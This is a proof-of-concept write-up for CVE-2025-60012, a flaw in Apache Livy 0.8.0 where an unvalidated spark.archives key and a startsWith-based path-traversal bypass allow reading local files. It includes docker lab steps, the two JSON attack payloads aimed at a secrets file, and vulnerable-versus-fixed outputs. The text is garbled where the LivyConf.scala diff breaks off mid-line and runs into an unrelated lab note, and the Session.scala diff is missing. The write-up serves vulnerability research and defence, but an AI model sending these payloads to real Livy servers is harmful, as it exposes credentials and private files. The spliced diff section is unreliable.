Share
## https://sploitus.com/exploit?id=B9706B05-99B7-58A7-97DC-8F81C6A7B5B1
> **For educational and security research purposes only. Do not use against systems you do not own or have explicit written permission to test. โ†’ [Full Disclaimer](#disclaimer)**

# CVE-2025-60012 โ€” Apache Livy Unauthorized File Access

## Overview

| Field        | Detail |
|--------------|--------|
| CVE ID       | CVE-2025-60012 |
| Severity     | Medium (CVSS 6.3) |
| Affected     | Apache Livy 0.7.0-incubating, 0.8.0-incubating โ€” when connected to Apache Spark 3.1 or later |
| Fixed in     | Apache Livy 0.9.0-incubating |
| CWE          | CWE-20: Improper Input Validation |
| Disclosed    | 2026-03-13 |
| Reporter     | Furue Hideyuki |

## Vulnerability Description

An authenticated user with access to Livy's REST or JDBC interface can submit a Spark session
or batch job with crafted configuration values. Two weaknesses combine to allow the attacker to
reference local filesystem files outside their permitted paths:

1. **Missing validation for `spark.archives`** โ€” Spark 3.1 introduced `spark.archives` as a
   unified way to distribute archive files across all cluster managers. Livy 0.8.0's hardcoded
   list of configuration keys that get path-validated (`HARDCODED_SPARK_FILE_LISTS`) does not
   include `spark.archives`. A path passed via this key is therefore never checked against the
   local filesystem whitelist (`livy.file.local-dir-whitelist`), allowing an attacker to
   reference any local file.

2. **Path traversal bypass in whitelist check** โ€” Even for configuration keys that ARE
   validated, the whitelist comparison in Livy 0.8.0 uses a plain Java String `startsWith`
   call on the raw path. An attacker can bypass this using path traversal:
   `/whitelisted/dir/../../etc/passwd` passes the string check but resolves outside the
   allowed directory.

## Affected Source Files

### File 1 โ€” `LivyConf.scala`

**Vulnerable (v0.8.0):**
https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala

**Fixed (v0.9.0):**
https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala

### File 2 โ€” `Session.scala`

**Vulnerable (v0.8.0):**
https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

**Fixed (v0.9.0):**
https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

## Source Code โ€” Clone Commands

Both versions were cloned directly from the official Apache Livy GitHub repository into
this workspace using the following exact commands:

**Repository:**
https://github.com/apache/incubator-livy

```bash
# Vulnerable version โ€” cloned into ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
  https://github.com/apache/incubator-livy \
  livy-0.8.0

# Fixed version โ€” cloned into ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
  https://github.com/apache/incubator-livy \
  livy-0.9.0
```

| Version | Tag | Resolved commit | Local path |
|---------|-----|-----------------|------------|
| 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` |
| 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` |

## Exact Code Diffs

Diffs were produced by cloning both tags locally (see above) and running:

```bash
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/LivyConf.scala \
         livy-0.9.0/server/src/main/scala/org/apache/livy/LivyConf.scala

diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
         livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
```

---

### Fix 1 โ€” `LivyConf.scala`: `spark.archives` added to hardcoded file list

```diff
   private val HARDCODED_SPARK_FILE_LISTS = Seq(
     SPARK_JARS,
     SPARK_FILES,
     SPARK_ARCHIVES,
     SPARK_PY_FILES,
+    "spark.archives",        //  **Note:** Livy takes approximately 15โ€“20 seconds to become ready after `docker run`.
> All steps below include an explicit `sleep 20` before any API call.

---

### Step 1 โ€” Build and start the vulnerable environment (Livy 0.8.0 + Spark 3.1.3)

**Files:**
- `docker/vulnerable/Dockerfile` โ€” eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
- `docker/vulnerable/livy.conf`  โ€” binds on `0.0.0.0:8998`, local mode, whitelist = `/opt/safe-data`

**1a. Build the image:**

```bash
docker build -t cve-2025-60012-vulnerable docker/vulnerable/
```

**Validate โ€” image was created:**

```bash
docker images cve-2025-60012-vulnerable
```

Expected output:

```
REPOSITORY                    TAG       IMAGE ID       CREATED         SIZE
cve-2025-60012-vulnerable     latest                         
```

---

**1b. Start the container:**

```bash
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-60012-vulnerable
```

**Validate โ€” container is running:**

```bash
docker ps --filter name=livy-vulnerable
```

Expected output:

```
CONTAINER ID   IMAGE                         COMMAND        STATUS         PORTS
           cve-2025-60012-vulnerable     "livy-server"  Up X seconds   0.0.0.0:8998->8998/tcp
```

---

**1c. Wait for Livy to start, then verify the REST API:**

> Livy requires ~15โ€“20 seconds to initialise before it serves requests.

```bash
sleep 20
curl -s http://localhost:8998/sessions
```

Expected output:

```json
{"from":0,"total":0,"sessions":[]}
```

---

**1d. Validate the directory layout inside the container:**

Confirm the whitelisted safe file exists:

```bash
docker exec livy-vulnerable cat /opt/safe-data/safe.txt
```

Expected output:

```
This file lives inside the whitelisted directory.
```

Confirm the target sensitive file exists outside the whitelist:

```bash
docker exec livy-vulnerable cat /opt/sensitive/secret.txt
```

Expected output:

```
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
```

---

### Step 2 โ€” Run validation against the vulnerable environment

> The vulnerable container from Step 1 must still be running on port 8998.

**What `test/validate.sh` tests:**

| # | Attack | Payload key | Expected result on Livy 0.8.0 |
|---|--------|-------------|-------------------------------|
| 1 | `spark.archives` absent from `HARDCODED_SPARK_FILE_LISTS` in `LivyConf.scala` | `spark.archives` | HTTP 201 โ€” path accepted unvalidated |
| 2 | Path traversal via `String.startsWith()` in `Session.scala` | `spark.jars` with `../` traversal | HTTP 201 โ€” traversal bypasses whitelist |

**2a. Run the script:**

```bash
bash test/validate.sh
```

**Expected output:**

```
TEST      : Attack 1 โ€” spark.archives (unvalidated Spark 3.1+ key)
WHAT      : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data)
PAYLOAD   : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}

HTTP CODE : 201
RESPONSE  : {"id":0,...,"conf":{"spark.archives":"file:///opt/sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
             Path was NOT validated โ€” attack vector is open.

TEST      : Attack 2 โ€” path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 201
RESPONSE  : {"id":1,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
             Path was NOT validated โ€” attack vector is open.

RESULT: VULNERABLE โ€” exit code 1
```

**2b. Stop and remove the vulnerable container:**

```bash
docker stop livy-vulnerable && docker rm livy-vulnerable
```

**Validate โ€” container is fully removed:**

```bash
docker ps -a --filter name=livy-vulnerable
```

Expected output (empty โ€” no rows):

```
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES
```

---

### Step 3 โ€” Build and start the fixed environment (Livy 0.9.0 + Spark 3.1.3)

**Files:**
- `docker/fixed/Dockerfile` โ€” identical base image and Spark 3.1.3, only Livy version changes to 0.9.0
- `docker/fixed/livy.conf`  โ€” identical to `docker/vulnerable/livy.conf` (same whitelist, port, mode)

> Keeping Spark, base image, and all configuration identical to Step 1 isolates Livy as the only variable.

**3a. Build the image:**

```bash
docker build -t cve-2025-60012-fixed docker/fixed/
```

**Validate โ€” image was created:**

```bash
docker images cve-2025-60012-fixed
```

Expected output:

```
REPOSITORY                TAG       IMAGE ID       CREATED         SIZE
cve-2025-60012-fixed      latest                         
```

---

**3b. Start the container:**

```bash
docker run -d --name livy-fixed -p 8998:8998 cve-2025-60012-fixed
```

**Validate โ€” container is running:**

```bash
docker ps --filter name=livy-fixed
```

Expected output:

```
CONTAINER ID   IMAGE                   COMMAND        STATUS         PORTS
           cve-2025-60012-fixed    "livy-server"  Up X seconds   0.0.0.0:8998->8998/tcp
```

---

**3c. Wait for Livy to start, then verify the REST API:**

```bash
sleep 20
curl -s http://localhost:8998/sessions
```

Expected output:

```json
{"from":0,"total":0,"sessions":[]}
```

---

### Step 4 โ€” Run the same validation against the fixed environment

> The fixed container from Step 3 must be running on port 8998.
> The script is identical โ€” no changes.

**What changes between Step 2 and Step 4:**
- Same payloads, same script
- Livy 0.9.0 now validates `spark.archives` via `HARDCODED_SPARK_FILE_LISTS`
- Livy 0.9.0 now normalises paths with `Paths.get().normalize()` before the whitelist check
- Both attacks are rejected with HTTP 400 before a session is created

**4a. Run the script:**

```bash
bash test/validate.sh
```

> **Note:** `validate.sh` works as follows:
> 1. It polls `GET /sessions` until Livy responds (up to 60 seconds), confirming the server is ready.
> 2. For each attack, it sends a `POST /sessions` request via `curl` with a crafted `conf` payload targeting a file outside the whitelist (`/opt/sensitive/secret.txt`).
> 3. It reads the HTTP response code: **201** means Livy accepted the path without validation (vulnerable); **400** means Livy rejected it at the whitelist check (fixed).
> 4. If a session was created (HTTP 201), the script immediately deletes it via `DELETE /sessions/{id}` to keep the server clean.
> 5. After both tests it prints a summary and exits with code **1** (vulnerable) or **0** (fixed), making it suitable for use in automated pipelines.

**Expected output:**

```
TEST      : Attack 1 โ€” spark.archives (unvalidated Spark 3.1+ key)
WHAT      : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data)
PAYLOAD   : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path validation blocked the payload.

TEST      : Attack 2 โ€” path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path validation blocked the payload.

RESULT: FIXED โ€” exit code 0
```

**What the error messages confirm:**

| Attack | HTTP | Error message | Root cause fixed |
|--------|------|---------------|-----------------|
| 1 โ€” `spark.archives` | 400 | `Local path /opt/sensitive/secret.txt cannot be added to user sessions.` | `spark.archives` added to `HARDCODED_SPARK_FILE_LISTS` in `LivyConf.scala`; path now hits `resolveURI()` whitelist check |
| 2 โ€” path traversal | 400 | `Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions.` | `Paths.get(...).normalize()` added in `Session.scala`; resolves `../` before whitelist comparison |

**4b. Stop and remove the fixed container:**

```bash
docker stop livy-fixed && docker rm livy-fixed
```

**Validate โ€” container is fully removed:**

```bash
docker ps -a --filter name=livy-fixed
```

Expected output (empty โ€” no rows):

```
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES
```

## Inference

CVE-2025-60012 shows that a vulnerability does not always require bypassing a security control โ€” sometimes it is sufficient to find a path that was never routed through that control in the first place.

The whitelist (`livy.file.local-dir-whitelist`) existed in both Livy 0.8.0 and 0.9.0 and was correctly configured in both environments. The failures were upstream of it:

1. **Missing registration (Attack 1):** `spark.archives` was introduced in Spark 3.1 as a cluster-manager-agnostic replacement for `spark.yarn.dist.archives`. Livy's internal list of configuration keys whose paths are fed into the whitelist check (`HARDCODED_SPARK_FILE_LISTS` in `LivyConf.scala`) was never updated to include it. Any path passed via `spark.archives` was therefore forwarded to Spark completely unvalidated. The whitelist was never consulted.

2. **Logic flaw in the check itself (Attack 2):** For keys that were registered, the whitelist comparison in `Session.scala` used Java's `String.startsWith()` on the raw path string. This is insufficient for filesystem path comparisons because it does not account for `..` traversal. A path such as `/opt/safe-data/../sensitive/secret.txt` satisfies the string check against whitelist entry `/opt/safe-data`, yet resolves to a location entirely outside it.

Taken together, these two weaknesses mean that an authenticated user โ€” with no special privileges beyond access to the Livy REST or JDBC interface โ€” could reference arbitrary local files on the Livy server host. In a shared analytics cluster, that translates to potential exposure of credentials, keys, configuration files, or any data readable by the Livy process user.

The fix in 0.9.0 is minimal and targeted: one line added to `HARDCODED_SPARK_FILE_LISTS` (closing the registration gap) and one call to `Paths.get().normalize()` added before the whitelist comparison (closing the traversal bypass). Neither change altered the whitelist itself, confirming that the whitelist was never the problem โ€” the problem was that the code feeding into it was incomplete and imprecise.

**Key takeaway for defenders:** When Livy is deployed with Spark 3.1 or later, upgrading to Livy 0.9.0-incubating is the only complete remediation. Tightening `livy.file.local-dir-whitelist` alone is not sufficient against Attack 1, because paths submitted via `spark.archives` bypass that check entirely in vulnerable versions.

## References

- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-60012
- OSS-Sec disclosure: http://www.openwall.com/lists/oss-security/2026/03/12/1
- Apache mailing list: https://lists.apache.org/thread/gpc85fwrgrbglpk9gm8tmcjzqnctx64w
- Apache Livy project: https://livy.apache.org/

## Acknowledgements

- **Furue Hideyuki** โ€” original reporter of CVE-2025-60012 to the Apache Security Team.
- **Apache Livy maintainers** โ€” for the prompt triage and targeted fix in v0.9.0-incubating.
- **Apache Security Team** โ€” for coordinating the responsible disclosure process.
- **OSS-Sec community** โ€” for the public disclosure thread that made independent analysis possible.

## Contributing

Contributions to improve this PoC or documentation are welcome! Please ensure any contributions:

- Follow responsible disclosure practices
- Include appropriate disclaimers
- Do not include malicious code beyond educational demonstration
- Maintain focus on educational value

To contribute, open a pull request or file an issue describing the proposed change.

## License

This project is licensed under the [MIT License](LICENSE).


## Disclaimer

This repository is for educational and security research purposes only. The proof of concept
demonstrates the vulnerability mechanics to aid understanding and defensive measures. Do not
use against systems you do not own or have explicit written permission to test.

## Tags

`cve-2025-60012` `apache-livy` `apache-spark` `path-traversal` `unauthorized-file-access`
`cwe-20` `improper-input-validation` `spark-archives` `livy-0.8.0` `livy-0.9.0`
`security-research` `proof-of-concept` `docker` `java` `scala`
`vulnerability-analysis` `whitelist-bypass` `file-disclosure` `rest-api-security`